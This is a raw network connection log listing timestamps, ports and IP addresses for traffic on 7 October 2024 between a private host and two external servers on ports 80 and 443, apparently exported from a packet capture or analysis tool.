Oct 7, 2024 18:43:23.416532040 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.416536093 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.416548014 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.416569948 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.416575909 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.416604996 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.416618109 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.416640043 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.416649103 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.416673899 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.416682959 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.416712046 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.416728020 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.416748047 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.421922922 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.421957970 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.421984911 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.421993971 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.421999931 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.422034979 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.448250055 CEST	443	49733	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.448410988 CEST	443	49733	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.448468924 CEST	49733	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.448503971 CEST	49733	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.448520899 CEST	443	49733	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.448530912 CEST	49733	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.448535919 CEST	443	49733	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.451313972 CEST	49741	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.451353073 CEST	443	49741	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.451530933 CEST	49741	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.451531887 CEST	49741	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.451565981 CEST	443	49741	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.455037117 CEST	443	49734	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.455116987 CEST	443	49734	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.455169916 CEST	49734	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.455272913 CEST	49734	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.455272913 CEST	49734	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.455284119 CEST	443	49734	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.455296993 CEST	443	49734	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.457448006 CEST	49742	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.457457066 CEST	443	49742	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.457612991 CEST	49742	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.457612991 CEST	49742	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.457628012 CEST	443	49742	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.487667084 CEST	443	49735	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.487817049 CEST	443	49735	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.488018990 CEST	49735	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.488019943 CEST	49735	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.488019943 CEST	49735	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.489767075 CEST	49743	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.489797115 CEST	443	49743	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.489862919 CEST	49743	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.489959002 CEST	49743	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.489970922 CEST	443	49743	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.502127886 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.502223015 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.502253056 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.502262115 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.502342939 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.502362013 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.502456903 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.502528906 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.502561092 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.502628088 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.502652884 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.502661943 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.502682924 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.502705097 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.503206015 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.503237009 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.503253937 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.503277063 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.503305912 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.503340960 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.503355980 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.503391027 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.503432035 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.503463984 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.503478050 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.503501892 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.503508091 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.503544092 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.504163980 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.504214048 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.504232883 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.504256964 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.504264116 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.504301071 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.504313946 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.504334927 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.504345894 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.504386902 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.505120993 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.505153894 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.505172014 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.505187988 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.505189896 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.505223036 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.505234003 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.505270004 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.507106066 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.507158041 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.588061094 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.588073969 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.588083982 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.588109970 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.588179111 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.588182926 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.588195086 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.588206053 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.588216066 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.588306904 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.588309050 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.588375092 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.588468075 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.588478088 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.588488102 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.588498116 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.588551998 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.588566065 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.588576078 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.588632107 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.588910103 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.588920116 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.588928938 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.588938951 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.588948011 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.588954926 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.588958979 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.588968039 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.588970900 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.588998079 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.589006901 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.589014053 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.589023113 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.589032888 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.589042902 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.589045048 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.589052916 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.589056015 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.589072943 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.589091063 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.616890907 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.616910934 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.616925955 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.616941929 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.616957903 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.616971970 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.616987944 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.617002964 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.617106915 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.617867947 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.617886066 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.617902040 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.617916107 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.617930889 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.617953062 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.618012905 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.632158995 CEST	443	49738	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.633038998 CEST	49738	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.633078098 CEST	443	49738	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.633725882 CEST	49738	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.633738995 CEST	443	49738	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.652069092 CEST	443	49737	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.652442932 CEST	49737	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.652462006 CEST	443	49737	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.652976990 CEST	49737	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.652987003 CEST	443	49737	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.674571991 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.674602032 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.674623013 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.674643040 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.674663067 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.674683094 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.674702883 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.674722910 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.674814939 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.674834967 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.674845934 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.674845934 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.674856901 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.674875975 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.674877882 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.674896955 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.674900055 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.674917936 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.674935102 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.674949884 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.674953938 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.674971104 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.674990892 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.675010920 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.675017118 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.675017118 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.675031900 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.675033092 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.675052881 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.675054073 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.675075054 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.675076008 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.675096035 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.675120115 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.675558090 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.675578117 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.675599098 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.675620079 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.675669909 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.675682068 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.675761938 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.675790071 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.675812960 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.675833941 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.675837994 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.675858974 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.675863981 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.675883055 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.675884008 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.675901890 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.675904036 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.675925016 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.675930023 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.675940037 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.675956011 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.675970078 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.675976038 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.675996065 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.675998926 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.676018000 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.676024914 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.676038980 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.676043034 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.676064968 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.676088095 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.676788092 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.676808119 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.676836967 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.676855087 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.676855087 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.676877975 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.676884890 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.676898956 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.676918983 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.676920891 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.676939964 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.676950932 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.676959991 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.676979065 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.676985025 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.677000046 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.677021027 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.677021980 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.677041054 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.677074909 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.677649975 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.677670002 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.677699089 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.677706003 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.677717924 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.677726984 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.677746058 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.677757978 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.677766085 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.677786112 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.677793026 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.677805901 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.677826881 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.677829027 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.677846909 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.677866936 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.677886009 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.677911043 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.677927971 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.678518057 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.678538084 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.678558111 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.678571939 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.678580046 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.678606033 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.678637981 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.716898918 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.716983080 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.726536989 CEST	443	49738	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.726691008 CEST	443	49738	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.726758957 CEST	49738	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.726882935 CEST	49738	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.726916075 CEST	443	49738	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.726943016 CEST	49738	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.726958036 CEST	443	49738	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.730396032 CEST	49744	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.730437040 CEST	443	49744	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.730523109 CEST	49744	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.730717897 CEST	49744	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.730731010 CEST	443	49744	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.753804922 CEST	443	49737	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.753954887 CEST	443	49737	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.754028082 CEST	49737	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.754067898 CEST	49737	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.754069090 CEST	49737	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.754089117 CEST	443	49737	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.754112005 CEST	443	49737	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.757102966 CEST	49745	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.757200956 CEST	443	49745	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.757294893 CEST	49745	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.757771969 CEST	49745	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:23.757810116 CEST	443	49745	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:23.762017965 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.762056112 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.762089014 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.762096882 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.762124062 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.762144089 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.762233019 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.762265921 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.762288094 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.762301922 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.762315989 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.762337923 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.762355089 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.762388945 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.762660027 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.762692928 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.762720108 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.762739897 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.762780905 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.762829065 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.762835026 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.762861967 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.762877941 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.762897015 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.762912035 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.762929916 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.762944937 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.762964010 CEST	80	49736	147.45.44.104	192.168.2.7
